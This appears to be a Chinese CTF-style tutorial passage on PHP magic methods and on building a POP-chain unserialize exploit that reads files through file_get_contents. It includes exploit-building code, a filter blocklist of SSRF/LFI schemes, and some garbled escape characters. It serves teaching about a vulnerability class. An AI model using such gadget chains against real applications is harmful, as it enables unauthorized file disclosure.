···
class Person {
private $name;
private $sex;
private $age;
//__set()方法用来设置私有属性
function __set($property_name, $value) {
echo "在直接设置私有属性值的时候,自动调用了这个 __set() 方法为私有属性赋值<br />";
$this->$property_name = $value;
}
//__get()方法用来获取私有属性
function __get($property_name) {
echo "在直接获取私有属性值的时候,自动调用了这个 __get() 方法<br />";
echo $property_name;
// return isset($this->$property_name) ? $this->$property_name : null;
}
}
$p1=new Person();
//直接为私有属性赋值的操作, 会自动调用 __set() 方法进行赋值
// \(p1->name = "张三"; //直接获取私有属性的值, 会自动调用 __get() 方法,返回成员属性的值 // echo "我的名字叫:".\)p1->name;
echo \(p1->aaaaa; echo "<br>"; ··· >构造pop时,当访问一个不存在的属性的时候,会直接调用__get方法,并将aaaaa变量传递给__get方法中\)property_name中。
看如下代码构造反序列化漏洞:
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo "执行了C1e4r的destruct"."<br>";
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
// $a = new Test();
// $a->params = array("source"=>'http://www.baidu.com');
// $b = new Show('index.php');
// $b->str['str'] = $a;
echo "执行了Show的toString"."<br>";
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
echo "执行了Test的get"."<br>";
echo "$key"."<br>";
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
向上回溯危险函数file_get->get->__get,看那个类能够触发Test类的__get函数,
发现Show类的__toString函数的\(this->str['str']->source访问一个不存在的变量会调用__get方法,所以将Test类赋值给\)this->str['str'],
看哪个类又调用Show的__toString函数,发现C1e4r类的 __destruct魔法函数 $this->test = $this->str;echo \(this->test;将Show类赋值给\)this->test.就会调用__toString方法。
总结:
1.利用C1e4r类的__destruct()中的echo \(this->test 2.触发Show类的__toString() 3.利用Show类的\)content = $this->str['str']->source
4.触发Test类的__get()
5.成功利用file_get()读文件
exp:
$a = new Test();
$a->params = array("source"=>'http://www.baidu.com');
$b = new Show('index.php');
$b->str['str'] = $a;
$c= new C1e4r($b);
echo serialize($c);